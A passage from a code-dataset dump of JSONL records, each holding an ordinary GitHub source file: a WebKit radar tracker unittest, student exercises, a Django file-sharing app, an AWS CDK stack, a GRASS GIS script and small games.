Technology Preview', 'WebKit Local Build'],\n                                description='Bugs related to main thread and off-main thread scrolling',\n                            ), SVG=dict(\n                                versions=['Other', 'Safari 15', 'Safari Technology Preview', 'WebKit Local Build'],\n                                description='For bugs in the SVG implementation.',\n                            ), Tables=dict(\n                                versions=['Other', 'Safari 15', 'Safari Technology Preview', 'WebKit Local Build'],\n                                description='For bugs specific to tables (both the DOM and rendering issues).',\n                            ), Text=dict(\n                                versions=['Other', 'Safari 15', 'Safari Technology Preview', 'WebKit Local Build'],\n                                description='For bugs in text layout and rendering, including international text support.',\n                            ),\n                        ),\n                    ),\n                ), radar.Tracker(project='WebKit').projects,\n            )\n\n    def test_create(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            created = radar.Tracker(projects=['CFNetwork', 'WebKit']).create(\n                'New bug', 'Creating new bug',\n                project='WebKit', component='Tables', version='Other',\n            )\n            self.assertEqual(created.id, 4)\n            self.assertEqual(created.title, 'New bug')\n            self.assertEqual(created.description, 'Creating new bug')\n            self.assertTrue(created.opened)\n            self.assertEqual(\n                User.Encoder().default(created.creator),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n            self.assertEqual(\n                User.Encoder().default(created.assignee),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n\n            self.assertEqual(created.project, 'WebKit')\n            self.assertEqual(created.component, 'Tables')\n            self.assertEqual(created.version, 'Other')\n\n    def test_create_prompt(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS), \\\n            wkmocks.Terminal.input('2', '4', '4'), OutputCapture() as captured:\n\n            created = radar.Tracker(projects=['CFNetwork', 'WebKit']).create('New bug', 'Creating new bug')\n            self.assertEqual(created.id, 4)\n            self.assertEqual(created.title, 'New bug')\n            self.assertEqual(created.description, 'Creating new bug')\n            self.assertTrue(created.opened)\n            self.assertEqual(\n                User.Encoder().default(created.creator),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n            self.assertEqual(\n                User.Encoder().default(created.assignee),\n                dict(name='Tim Contributor', username=504, emails=['tcontributor@example.com']),\n            )\n\n            self.assertEqual(created.project, 'WebKit')\n            self.assertEqual(created.component, 'Text')\n            self.assertEqual(created.version, 'WebKit Local Build')\n\n        self.assertEqual(\n            captured.stdout.getvalue(),\n            '''What project should the bug be associated with?:\n    1) CFNetwork\n    2) WebKit\n: \nWhat component in 'WebKit' should the bug be associated with?:\n    1) SVG\n    2) Scrolling\n    3) Tables\n    4) Text\n: \nWhat version of 'WebKit Text' should the bug be associated with?:\n    1) Other\n    2) Safari 15\n    3) Safari Technology Preview\n    4) WebKit Local Build\n: \n''',\n        )\n\n    def test_get_component(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            issue = radar.Tracker(project='WebKit').issue(1)\n            self.assertEqual(issue.project, 'WebKit')\n            self.assertEqual(issue.component, 'Text')\n            self.assertEqual(issue.version, 'Other')\n\n    def test_set_component(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            radar.Tracker(project='WebKit').issue(1).set_component(component='Tables', version='Safari 15')\n\n            issue = radar.Tracker(project='WebKit').issue(1)\n            self.assertEqual(issue.project, 'WebKit')\n            self.assertEqual(issue.component, 'Tables')\n            self.assertEqual(issue.version, 'Safari 15')\n\n    def test_labels(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES):\n            issue = radar.Tracker().issue(1)\n            self.assertEqual(issue.labels, [])\n\n    def test_redaction(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            self.assertEqual(radar.Tracker(\n                project='WebKit',\n                redact=None,\n            ).issue(1).redacted, False)\n\n            self.assertTrue(bool(radar.Tracker(\n                project='WebKit',\n                redact={'.*': True},\n            ).issue(1).redacted))\n            self.assertEqual(radar.Tracker(\n                project='WebKit',\n                redact={'.*': True},\n            ).issue(1).redacted, radar.Tracker.Redaction(True, 'is a Radar'),)\n\n            self.assertEqual(radar.Tracker(\n                project='WebKit',\n                redact={'project:WebKit': True},\n            ).issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'project:WebKit'\"))\n\n            self.assertEqual(radar.Tracker(\n                project='WebKit',\n                redact={'component:Text': True},\n            ).issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n\n            self.assertEqual(radar.Tracker(\n                project='WebKit',\n                redact={'version:Other': True},\n            ).issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'version:Other'\"))\n\n    def test_redacted_duplicate(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            tracker = radar.Tracker(project='WebKit', redact={'component:Text': True})\n            self.assertEqual(tracker.issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n            self.assertEqual(tracker.issue(2).redacted, False)\n            tracker.issue(1).close(original=tracker.issue(2))\n            self.assertEqual(tracker.issue(2).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n\n    def test_redacted_original(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            tracker = radar.Tracker(project='WebKit', redact={'component:Text': True})\n            self.assertEqual(tracker.issue(1).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n            self.assertEqual(tracker.issue(2).redacted, False)\n            tracker.issue(2).close(original=tracker.issue(1))\n            self.assertEqual(tracker.issue(2).redacted, radar.Tracker.Redaction(True, \"matches 'component:Text'\"))\n\n    def test_redaction_exception(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            self.assertEqual(radar.Tracker(\n                project='WebKit',\n                redact={'.*': True},\n                redact_exemption={'component:Text': True},\n            ).issue(1).redacted, radar.Tracker.Redaction(\n                exemption=True, reason=\"matches 'component:Text'\",\n            ))\n            self.assertEqual(radar.Tracker(\n                project='WebKit',\n                redact={'.*': True},\n                redact_exemption={'component:Scrolling': True},\n            ).issue(1).redacted, radar.Tracker.Redaction(True, 'is a Radar'))\n\n    def test_milestone(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            tracker = radar.Tracker()\n            self.assertEqual(tracker.issue(1).milestone, 'October')\n\n    def test_keywords(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            tracker = radar.Tracker()\n            self.assertEqual(tracker.issue(1).keywords, ['Keyword A'])\n\n    def test_classification(self):\n        with mocks.Radar(issues=mocks.ISSUES):\n            tracker = radar.Tracker()\n            self.assertEqual(tracker.issue(1).classification, 'Other Bug')\n\n    def test_clone(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            tracker = radar.Tracker()\n            original = tracker.issue(1)\n            cloned = tracker.clone(original, reason='Cloning for merge-back')\n\n            self.assertEqual(original.title, cloned.title)\n            self.assertEqual(original.classification, cloned.classification)\n            self.assertEqual(original.project, cloned.project)\n            self.assertEqual(original.component, cloned.component)\n            self.assertEqual(original.version, cloned.version)\n            self.assertEqual(\n                cloned.description,\n                'Reason for clone:\\n'\n                'Cloning for merge-back\\n\\n'\n                '<original text - begin>\\n\\n'\n                'An example issue for testing',\n            )\n\n    def test_set_keywords(self):\n        with wkmocks.Environment(RADAR_USERNAME='tcontributor'), mocks.Radar(issues=mocks.ISSUES, projects=mocks.PROJECTS):\n            tracker = radar.Tracker()\n            issue = tracker.issue(1)\n\n            self.assertEqual(issue.keywords, ['Keyword A'])\n            issue.set_keywords(['Keyword B'])\n            self.assertEqual(issue.keywords, ['Keyword B'])\n            self.assertEqual(tracker.issue(1).keywords, ['Keyword B'])\n","repo_name":"WebKit/WebKit","sub_path":"Tools/Scripts/libraries/webkitbugspy/webkitbugspy/tests/radar_unittest.py","file_name":"radar_unittest.py","file_ext":"py","file_size_in_byte":20079,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"}
+{"seq_id":"36979812620","text":"import os\r\nfrom tkinter import *\r\n\r\n\"\"\"\r\n\tEsta clase sirve para guardar el importe de un dia concreto dentro del mesArray,\r\n\tdonde indica el valor que dispones y si ese es por defecto o modicifaco manualmente\r\n\"\"\"\r\n\r\nclass Dia:\r\n\tsaldo = 0\r\n\tmodificado = False\r\n\tdef __init__(self, saldo, modificado):\r\n\t\tself.saldo = saldo\r\n\t\tself.modificado = modificado\r\n\r\nclass Mes:\r\n\tdias = [Dia(0,False)]\r\n\tsaldoTotal = 0\r\n\tmesString = \"\"\r\n\tdef __init__(self, dias = [Dia(0,False)], saldoTotal = 0, mesString = \"\"):\r\n\t\tself.dias = dias\r\n\t\tself.saldoTotal = saldoTotal\r\n\t\tself.mesString = mesString\r\n\t\r\n\r\n## Establece el mes y comprueba que se ha introducido un mes valido\r\ndef setMesString():\r\n\tmesesValidos = ['ENERO', 'FEBRERO', 'MARZO', 'ABRIL', 'MAYO', 'JUNIO', 'JULIO', 'AGOSTO', ' SEPTIEMBRE', 'OCTUBRE', 'NOVIEMBRE', 'DICIEMBRE']\r\n\tmesValido = False\r\n\r\n\twhile (mesValido == False) :\r\n\t\tmes = input('Introducir mes: ')\r\n\t\tfor a in mesesValidos:\r\n\t\t\tif a == mes.upper():\r\n\t\t\t\tmesValido = True\r\n\treturn mes\r\n\r\n## Dado el mes nos devuelve el numero de dias\r\ndef getDiasMes(mesString):\r\n\tdiasPorMes = {'ENERO': 31, 'FEBRERO': 28, 'MARZO': 31, 'ABRIL': 30, 'MAYO': 31, 'JUNIO': 30, 'JULIO': 31, 'AGOSTO': 31, ' SEPTIEMBRE': 30, 'OCTUBRE': 31, 'NOVIEMBRE': 30, 'DICIEMBRE': 31}\r\n\r\n\treturn diasPorMes[mesString.upper()]\r\n\r\n## Estable el dinero mensual\r\ndef setDinero():\r\n\treturn int(input('Introducir dinero mensual: '))\r\n\r\n\"\"\" \r\n\tDado el mes y el dinero disponible para gastar, devuelve un Mes \r\n\tcon el dinero por defecto que dispone para gastar cada dia\r\n\"\"\"\r\ndef setDineroDiarioDefault(dinero, diasMes):\r\n\tsaldoDiario = dinero/diasMes\r\n\t\r\n\tdias = []\r\n\r\n\tfor i in range(diasMes):\r\n\t\tdias.append(Dia(saldoDiario, False))\r\n\t\r\n\tMES = Mes(dias,dinero)\t\r\n\r\n\treturn MES\r\n\r\n\"\"\"\r\n\tDado mes, dia, importe, dinero del que se dispone en ese Mes\r\n\tmodifica el importe de ese dia en concreto y recalcula el valor\r\n\tde los dias que no se modificaron\r\n\"\"\"\r\ndef cambiarImporte(MES, dia, importe):\r\n\tdia = dia - 1\r\n\tMES.dias[dia].saldo = importe\r\n\tMES.dias[dia].modificado = True\r\n\tcount = 0\r\n\tdineroTotal = MES.saldoTotal\r\n\tfor i in range(len(MES.dias)):\r\n\t\tif MES.dias[i].modificado == True:\r\n\t\t\tdineroTotal -= MES.dias[i].saldo\r\n\t\t\tcount += 1\r\n\r\n\tsaldoDiario = dineroTotal/(len(MES.dias)-count)\r\n\tfor i in range(len(MES.dias)):\r\n\t\tif MES.dias[i].modificado == False:\r\n\t\t\tMES.dias[i].saldo = saldoDiario\r\n\r\n\treturn MES\r\n\r\n\r\ndef printCalendar(frame, MES):\r\n\theight = int(len(MES.dias)/7) + (len(MES.dias)/7 > 0)\r\n\twidth = 7\r\n\tfor i in range(height): #Rows\r\n\t\tj = 0\r\n\t\twhile i*7+j < len(MES.dias) and j < 7: #Columns\r\n\t\t\tcount = i*7+j\r\n\t\t\tb = Label(frame, text=str(i*7+j+1)+\":  \"+str(round(MES.dias[i*7+j].saldo,2)))\r\n\t\t\tb.grid(row = i, column = j)\r\n\t\t\tj = j + 1\r\n\r\n\r\n## Dado mes, año y Mes, nos guarda en .txt los datos e.g. 2018Enero.txt\r\ndef guardarMes(mesString, anoString, MES):\r\n\tfile = open( anoString+mesString+\".txt\", \"w\")\r\n\tfile.write(str(MES.saldoTotal))\r\n\tfile.write(\"\\n\")\r\n\tfor dia in MES.dias:\r\n\t\tfile.write(str(dia.saldo)+\",\")\r\n\t\tfile.write(str(dia.modificado))\r\n\t\tfile.write(\"\\n\")\r\n\r\n\tfile.close()\r\n\r\ndef getMes(mesString, anoString):\r\n\tfile = open( anoString+mesString+\".txt\", \"r\")\r\n\tlines = file.readlines()\r\n\tdias = []\r\n\tcount = 0\r\n\tfor line in lines:\r\n\t\tif count == 0:\r\n\t\t\tsaldoTotal = int(line.replace(\"\\n\",\"\"))\r\n\t\telse:\t\r\n\t\t\tline = line.split(\",\")\r\n\t\t\tmodificado = False\r\n\t\t\tif line[1].replace(\"\\n\",\"\") == \"True\":\r\n\t\t\t\tmodificado = True\r\n\r\n\t\t\tdias.append(Dia( float(line[0]) , modificado ) )\r\n\t\tcount += 1\r\n\r\n\r\n\tfile.close()\t\r\n\tMES = Mes(dias, saldoTotal)\r\n\treturn MES\r\n\r\n\r\n\r\n\"\"\"\r\nkeep = True\r\nMES = Mes()\r\nprint(\"Hi there! Welcome to your personal economy assistant.\")\r\n\r\nwhile keep == True:\r\n\tprint(\"1. Load month economy\")\r\n\tprint(\"2. Exit\")\r\n\tchoose = int(input(\"\"))\r\n\tif choose == 1:\r\n\t\tanoString = input(\"Select Year:\")\r\n\t\tmesString = input(\"Select Month:\")\r\n\t\texist = os.path.isfile('./'+anoString+mesString+'.txt')\r\n\t\tif exist == True:\r\n\t\t\trespuesta = \"\"\r\n\t\telse:\r\n\t\t\trespuesta = \"Y\"\r\n\t\twhile respuesta.upper() != \"Y\" and respuesta.upper() != \"N\":\r\n\t\t\trespuesta = input(\"That month already exist. Do you want overwrite it?(Y/N)\")\r\n\t\tif respuesta.upper() == \"Y\":\r\n\t\t\tdineroMensual = setDinero()\r\n\t\t\tMES = setDineroDiarioDefault(dineroMensual, getDiasMes(mesString))\r\n\t\t\tMES.mesString = mesString\r\n\t\t\tprintCalendar(MES)\r\n\t\t\tprintCalendarVentana(MES)\r\n\t\t\tguardarMes(mesString,anoString, MES)\r\n\t\telif respuesta.upper() == \"N\":\r\n\t\t\tMES = getMes(mesString,anoString)\r\n\t\t\tMES.mesString = mesString\r\n\t\t\tprintCalendar(MES)\r\n\t\t\tprintCalendarVentana(MES)\r\n\t\tkeep1 = True\r\n\t\twhile keep1 == True:\r\n\t\t\tprint(\"1. Modify a day amount\")\r\n\t\t\tprint(\"2. Exit\")\r\n\t\t\tchoose1 = int(input(\"\"))\r\n\t\t\tif choose1 == 1:\r\n\t\t\t\tdia = int(input(\"Which day you want to modify: \"))\r\n\t\t\t\timporte = int(input(\"How much you go to spend: \"))\r\n\t\t\t\tcambiarImporte(MES, dia, importe)\r\n\t\t\t\tprintCalendar(MES)\r\n\t\t\t\tprintCalendarVentana(MES)\r\n\t\t\t\tguardarMes(mesString,anoString,MES)\r\n\t\t\telif choose1 == 2:\r\n\t\t\t\tkeep1 = False\r\n\r\n\telif choose == 2:\r\n\t\tkeep = False\r\n\"\"\"\r\n\t\r\n\r\n\r\n\t\r\n\t\r\n\r\n\t","repo_name":"Sthewo/CuentasMensuales","sub_path":"funcionesCuentasMensuales.py","file_name":"funcionesCuentasMensuales.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72719574162","text":"courses = {}\n\nwhile True:\n    line = input()\n    data = line.split(\" : \")\n    if line == \"end\":\n        break\n\n    course_name = data[0]\n    student_name = data[1]\n\n    if course_name not in courses:\n        courses[course_name] = []\n    courses[course_name].append(student_name)\n\nfor key, val in courses.items():\n    print(f\"{key}: {len(val)}\")\n    for i in val:\n        print(f\"-- {i}\")\n","repo_name":"goshpera/SoftUni-Courses","sub_path":"Dictionaries - Exercise/Courses.py","file_name":"Courses.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20155277569","text":"from aws_cdk import Stack, Duration\nimport aws_cdk.aws_lambda_python_alpha as lambda_python\nimport aws_cdk.aws_lambda as lambda_\nfrom constructs import Construct\nimport aws_cdk.aws_iam as iam\n\n\nclass CdkReproStack(Stack):\n\n    def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n        super().__init__(scope, construct_id, **kwargs)\n\n        func = lambda_python.PythonFunction(\n            self,\n            \"Func\",\n            entry=\"boto_lambda\",\n            index=\"handler.py\",\n            runtime=lambda_.Runtime.PYTHON_3_9,\n            timeout=Duration.seconds(30)\n        )\n\n        func.add_to_role_policy(\n            iam.PolicyStatement(\n                effect=iam.Effect.ALLOW,\n                actions=[\"iot:GetThingShadow\"],\n                resources=[\"*\"],\n            )\n        )\n\n\n","repo_name":"kvncp/cdk-repro","sub_path":"cdk_repro/cdk_repro_stack.py","file_name":"cdk_repro_stack.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14593756287","text":"import os\nimport pickle\nfrom collections import namedtuple\nimport hashlib\n\ncache_path = \"../cache/\"\n\nRecord = namedtuple('Record', ['frame_idx', 'objects'])\n\n\nclass ClassifierCache(object):\n    def __init__(self, classifier_path):\n        # The md5 hash of the classifier file is used as a unique ID for the cache record.\n        cache_ID = generate_file_md5(classifier_path)\n        file_name = cache_ID + \".p\"\n        self.file_path = os.path.join(cache_path, file_name)\n        if os.path.isfile(self.file_path):\n            print(\"Loading classifier cache from \", self.file_path)\n            self._load()\n        else:\n            print(\"No previous classifier cache available. Initialing a new cache at \", self.file_path)\n            self.cache = dict()\n\n    def _load(self):\n        self.cache = dict()\n        with open(self.file_path, \"rb\") as fid:\n            while 1:\n                try:\n                    record = pickle.load(fid)\n                except EOFError:\n                    break\n                self.cache[record.frame_idx] = record.objects\n\n    def add(self, frame_idx, objects):\n        if frame_idx not in self.cache:\n            with open(self.file_path, \"ab\") as fid:\n                pickle.dump(Record(frame_idx=frame_idx, objects=objects), fid)\n        else:\n            assert(self.cache[frame_idx] == objects)\n\n    def get(self, frame_idx):\n        if frame_idx in self.cache:\n            return self.cache[frame_idx]\n        else:\n            return None\n\n\ndef generate_file_md5(file_path):\n    hash_obj = hashlib.md5()\n    with open(file_path, \"rb\") as fid:\n        while True:\n            buf = fid.read(2**20)\n            if not buf:\n                break\n            hash_obj.update(buf)\n    return hash_obj.hexdigest()\n","repo_name":"misaksson/self_driving_car_nd","sub_path":"term1/P5-Vehicle-Detection-and-Tracking/src/classifier_cache.py","file_name":"classifier_cache.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"7233701092","text":"import matplotlib.pyplot as plt\r\nfrom die import Die\r\n\r\n#create a D6\r\ndie_1 = Die()\r\ndie_2 = Die()\r\n\r\n#make some rolls and store the results in a list\r\nresults = []\r\nfor roll_num in range(1000):\r\n\tresult = die_1.roll() + die_2.roll()\r\n\tresults.append(result)\r\n\r\n#analyze the results\r\nfrequencies = []\r\nmax_result = die_1.num_sides + die_2.num_sides\r\nfor value in range(2, max_result + 1): \r\n#adding 1 in this case so we can make sure it counts 6\r\n\tfrequency = results.count(value)\r\n\tfrequencies.append(frequency)\r\n\r\nprint(frequencies)\r\n\r\n#visualize the results\r\nx_values = list(range(2, max_result + 1))\r\n\r\n\r\nplt.bar(x_values, frequencies, color='pink' )\r\nplt.xlabel('Range')\r\nplt.ylabel('Frequency of Range')\r\nplt.title('Frequency of Adding the outcome of throwing 2 D6 die 1000 times', color ='blue')\r\nplt.show()","repo_name":"ursstaud/Visualizing-Generated-Data","sub_path":"mpl_die_roll.py","file_name":"mpl_die_roll.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41595693912","text":"\"\"\"\n\nPlease write a new version of the program in the previous exercise. \nIn addition to the result it should also print out the calculation performed:\n\nLimit: 2\nThe consecutive sum: 1 + 2 = 3\n\nLimit: 10\nThe consecutive sum: 1 + 2 + 3 + 4 = 10\n\nLimit: 18\nThe consecutive sum: 1 + 2 + 3 + 4 + 5 + 6 = 21\n\n\"\"\"\n\nupper_limit = int(input(\"Limit: \"))\nmy_num = 1\nfinal_num = 1\nconsecutive = \"The consecutive sum: \"\nmy_statement = \"\"\nwhile final_num < upper_limit:\n    my_statement += f\"{my_num} + \"\n    my_num += 1\n    final_num += my_num\nprint(f\"{consecutive} {my_statement}\" + f\"{my_num} = {final_num}\")\n","repo_name":"kinsho6i7h/python3_mooc","sub_path":"mooc3_sum_of_consecutive_numbers_2.py","file_name":"mooc3_sum_of_consecutive_numbers_2.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74233491280","text":"# board\n# a way to draw on the board\n# a way to erase the board\n# an opponent\nimport random\n\narray = [['_' for i in range(3)] for j in range(3)]\n\nrunning = True\nwhile running:\n    for i in range(3):\n        for j in range(3):\n            print(array[i][j], end='')\n        print()\n\n    #future assignment: make sure the user can't place their X in an occupied spot\n    u_row = int(input('what row?'))\n    u_col = int(input('what column?'))\n\n    array[u_row][u_col] = 'X' # few ways this can go wrong, fix later\n\n    c_move = True\n    while c_move:\n        c_row = random.randrange(0, 3)\n        c_col = random.randrange(0, 3)\n\n        if array[c_row][c_col] == '_':\n            array[c_row][c_col] = 'O'\n            c_move = False\n\n    for i in range(3):\n        for j in range(3):\n            print(array[i][j], end='')\n        print()\n\n    win = input('did someone win?')\n\n    if win == 'yes':\n        print('Game over')\n        running = False","repo_name":"kenneth-ge/Edgemont-Programming-Club-Projects","sub_path":"Tic Tac Toe with AI/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25056288097","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nimport sys\n\nfrom grass.script import parser\nfrom grass.pygrass.functions import get_lib_path\n\n\npath = get_lib_path(\"ml.class\", \"libmlcls\")\nif path is None:\n    raise ImportError(\"Not able to find the path to libmlcls directory.\")\n\nsys.path.append(path)\nfrom mlstats import statistics\nfrom mlsegment import segment\n\n\ndef main(opts, flgs):\n    if 's' in flgs and flgs['s']:\n        segment(opts['thrs'], opts['group'], opts['seg_opts'],\n                opts['seg_name'])\n    if 'r' in flgs and flgs['r']:\n        sname = opts['seg_name'] % opts['thrs'][-1] \\\n                if '%' in opts['seg_name'] else opts['seg_name']\n        statistics(opts['group'], sname,\n                   opts['stat_ratio_cols'].split(','), opts['hdf'],\n                   opts['stat_name'], opts['stat_results'])\n\n\nif __name__ == \"__main__\":\n    options, flags = parser()\n    options['thrs'] = [float(thr)\n                       for thr in options['seg_thresholds'].split(',')]\n    main(options, flags)\n\n\"\"\"\nml.classify group=rgb \\\ntraining_json=training.json \\\ntraining_conf=conf.py \\\ntraining_mls=BEST \\\ntraining_hdf=/home/pietro/docdat/phd/edinburgh/segSVM/segments-ml/data.hdf \\\ntraining_Kchk=K_chk \\\ntraining_ychk=y_chk -s -r -k -c\n\n\nml.segstats group=rgb hdf=results.hdf \\\n    seg_thresholds=0.01,0.02,0.05 \\\n    seg_opts=\"method=region_growing,similarity=euclidean,minsize=2\" \\\n    seg_name=seg__%.2f \\\n    stat_name=stat_%s.csv \\\n    stat_ratio_cols=photo_r_mean,photo_g_mean,photo_b_mean \\\n    stat_results=K_all -s -r\n\"\"\"\n","repo_name":"zarch/ml.class","sub_path":"ml.segstats/ml.segstats.py","file_name":"ml.segstats.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"10308392686","text":"from django.shortcuts import render,redirect\nfrom .forms import UploadForm\nfrom . import models\nfrom django.http import HttpResponse, FileResponse\nfrom user.models import Teacher,Student\nimport os\nfrom course.models import Course\n\ndef get_user_name(request,id):\n    user = Teacher.objects.filter(ID = id)\n    if not user:\n        user = Student.objects.filter(ID = id)\n    user_name = user[0].name\n    return user_name\n\ndef upload(request):\n    if not request.session.get('is_login', None):\n        return redirect(\"/index/\")\n    if request.method == 'POST':\n        file_form = UploadForm(request.POST, request.FILES)\n        file_form.fields['course'].choices = get_course_gender(request)\n        if file_form.is_valid():\n            course_id = file_form.cleaned_data['course']\n\n            remarks = file_form.cleaned_data['remark']\n            file_info = file_form.cleaned_data['file_info']\n\n            course = models.Course.objects.filter(course_id=course_id)\n            uploader_id = request.session['user_id']\n            if not uploader_id:\n                return redirect(\"/index/\")\n            new_file = models.FileInfo.objects.create(\n                course_id=course_id,\n                uploader_id=get_user_name(request,uploader_id),\n                file_name = file_info.name,\n                remarks = remarks,\n                file_info = file_info\n                )\n            message = \"上传成功\"\n            new_file.save()\n            \n            return render(request, 'source/upload.html', locals())\n    file_form = UploadForm()\n    file_form.course_list = get_course_gender(request)\n    file_form.fields['course'].choices = get_course_gender(request)\n    return render(request, 'source/upload.html', locals())\n\n\n# 课程资源\ndef sourcelist(request):\n    if not request.session.get('is_login', None):\n        # 没有登录\n        return redirect(\"/index/\")\n\n    # 不能再一下子打出所有课程的资源\n    user_id = request.session['user_id']\n    user = Teacher.objects.filter(ID = user_id)\n    if not user:\n        user = Student.objects.filter(ID = user_id)\n\n    course = user[0].course.split(',')\n    l_files = []\n    \n    for c in course:\n        files = models.FileInfo.objects.filter(course_id = c)\n        l_files.extend(files)\n    file_list = []\n\n    for f in l_files:\n        file_info = {\n            \"filename\":f.file_name,\n            \"remarks\":f.remarks,\n            \"uploader_id\": f.uploader_id,\n            \"file_info\": f.file_info,\n            \"course\":f.course.name,\n            \"download_times\":f.download_times,\n            \"id\":f.id\n        }\n        file_list.append(file_info)\n    return render(request, 'source/list.html', locals())\n\ndef mysource_list(request):\n    if not request.session.get('is_login', None):\n        # 没有登录\n        return redirect(\"/index/\")\n\n    # 不能再一下子打出所有课程的资源\n    mysource_flag = True\n    user_id = request.session['user_id']\n    user = Teacher.objects.filter(ID = user_id)\n    if not user:\n        user = Student.objects.filter(ID = user_id)\n    user_name = user[0].name\n    \n    files = models.FileInfo.objects.filter(uploader_id = user_name)\n\n    file_list = []\n    for f in files:\n        file_info = {\n            \"filename\":f.file_name,\n            \"remarks\":f.remarks,\n            \"uploader_id\": f.uploader_id,\n            \"file_info\": f.file_info,\n            \"course\":f.course.name,\n            \"download_times\":f.download_times,\n            \"id\":f.id\n        }\n        file_list.append(file_info)\n    return render(request, 'source/list.html', locals())\n\ndef deletesource(request,id):\n    f = models.FileInfo.objects.filter(id = id)\n    file_name = f[0].file_info.name\n    \n    print(\"id\")\n    # 然后将其从数据库中删掉\n    file_path = \"media/\"+file_name\n    if os.path.exists(file_path):\n        os.remove(file_path)\n    f.delete()\n\n    return redirect('/source/mysource_list/')\n\ndef download(request,id):\n    f = models.FileInfo.objects.get(id = id)\n    f.download_times = f.download_times + 1\n    f.save()\n    file_path = \"media/\"+f.file_info.name\n    response = FileResponse(open(file_path, 'rb'))\n    response['Content-Type'] = 'application/octet-stream'\n    return response\n\ndef get_course_gender(request):\n    user_id = request.session['user_id']\n    user = Teacher.objects.filter(ID = user_id)\n    if not user:\n        user = Student.objects.filter(ID = user_id)\n    course_id = user[0].course.split(',')\n    choise_list = []\n    for id in course_id:\n        course = Course.objects.filter(course_id = id)\n        if course:\n            gender = [(course[0].course_id,course[0].name)]\n            choise_list = choise_list+gender\n\n    return choise_list\n\n            ","repo_name":"shen-wenxin/HITSZ-database_project3","sub_path":"DB_PROJECT/source/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"43371645449","text":"import numpy as np\nfrom prettytable import PrettyTable\nfrom scipy.signal import convolve2d\n\nboard_np = np.zeros((6, 7))\n# board_np = np.random.randint(3, size=(6, 7))\n# # board_np = np.eye(6, 7)\n\nSEPARATOR = \"\\n-------------------------\\n\"\n\np = PrettyTable()\n\nSIZE = board_np.shape\nSIZE_ROW = SIZE[0]\nSIZE_COL = SIZE[1]\n\nUSER_INPUT = \"Please input the colum Player %i\\n\"\n\nNOT_VALID_INPUT = \"Please enter a valid input Player %i\\n\"\n\nINVALID_MOVE = \"Invalid move please try again Player %i\\n\"\n\nallowed = set(\"1234567\")\n\n# possible wins\nhorizontal_kernel = np.array([[1, 1, 1, 1]])\nvertical_kernel = np.transpose(horizontal_kernel)\ndiag1_kernel = np.eye(4, dtype=np.uint8)\ndiag2_kernel = np.fliplr(diag1_kernel)\ndetection_kernels = [horizontal_kernel, vertical_kernel, diag1_kernel, diag2_kernel]\n\n\ndef print_board():\n    for row in board_np:\n        p.add_row(row)\n    p.header = False\n    p.border = True\n    p.padding_width = 1\n    p.horizontal_char = \"=\"\n    p.float_format = \"0.0\"\n    print(p)\n    p.clear()\n\n\ndef create_num_arr():\n    # list 1\n    l1 = np.where(board_np == 1)\n    l1 = list(zip(l1[0], l1[1]))\n    result1 = l1[::-1]\n    # list 2\n    l2 = np.where(board_np == 2)\n    l2 = 